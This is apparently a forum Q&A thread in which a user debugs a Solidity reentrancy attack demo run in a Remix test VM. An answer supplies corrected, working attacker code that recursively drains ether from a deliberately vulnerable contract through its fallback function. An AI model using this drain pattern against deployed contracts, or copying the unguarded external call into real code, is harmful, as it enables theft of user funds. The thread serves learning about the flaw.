1

hi i was trying to replicate reentracy attack that can exploit etherum contract

Below is the code

 pragma solidity ^0.4.19;
 contract Mutex {
 bool locked;


modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}

 function Mutex() public payable {
   locked=false;
}

function canBeAttacked() public  returns (uint) {
require(msg.sender.call.value(1 ether)());
return 7;
 }

/// This function is protected by a mutex
  function f() public noReentrancy returns (uint) {
require(msg.sender.call());
  return 7;
  }
 }

  contract attacker{
      bool again=false;
function attacker() public  {

   }   
      function() public  payable{
             if(!again){
              again=true;
            Mutex(msg.sender).canBeAttacked();
         }
     }
   function payment(Mutex mutex) public {
        mutex.canBeAttacked();
    }
 }

But when ever i click call payment method of attacker contract (Deployed on Virtual VM java script on remix) i get the following error

transact to attacker.payment errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The constructor should be payable if you send value. Debug the transaction to get more information.

What is wrong with this code?

2

Two issues that I can spot without actually running the code:

  1. The fallback function in attacker isn't payable, so it will revert when called by Mutex.
  2. The fallback function always calls back into Mutex, so this is an infinite recursive loop. Either Mutex will run out of ether or the transaction will run out of gas. Either way, the require(msg.sender.call...) line in Mutex will revert.

EDIT

Fixed code below. (I added a getBalance function just to make it easy in Remix to verify that things worked.)

pragma solidity ^0.4.21;

contract Mutex {
    bool locked;
    modifier noReentrancy() {
        require(!locked);
        locked = true;
        _;
        locked = false;
    }

    function Mutex() public payable { }

    function canBeAttacked() public returns (uint) {
        require(msg.sender.call.value(1 ether)());
        return 7;
    }

    // This function is protected by a mutex
    function f() public noReentrancy returns (uint) {
        require(msg.sender.call());
        return 7;
    }
}

contract Attacker {
    function () public payable {
        if (msg.sender.balance >= 1 ether) {
            Mutex(msg.sender).canBeAttacked();
        }
    }

    function payment(Mutex mutex) public {
        mutex.canBeAttacked();
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
  • Hi i just updated my code it is still throwing the same error,have a look at the code now. – Thinker Mar 14 '18 at 19:14
  • I just ran your code it has the same problem, – Thinker Mar 14 '18 at 19:17
  • Just a wild guess, but maybe you're failing to enclose the address of Mutex in double quotes when you pass it to payment? – smarx Mar 14 '18 at 19:18
  • (My code works correctly for me in Remix.) – smarx Mar 14 '18 at 19:19
  • Your updated code also runs successfully for me in Remix. – smarx Mar 14 '18 at 19:19

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.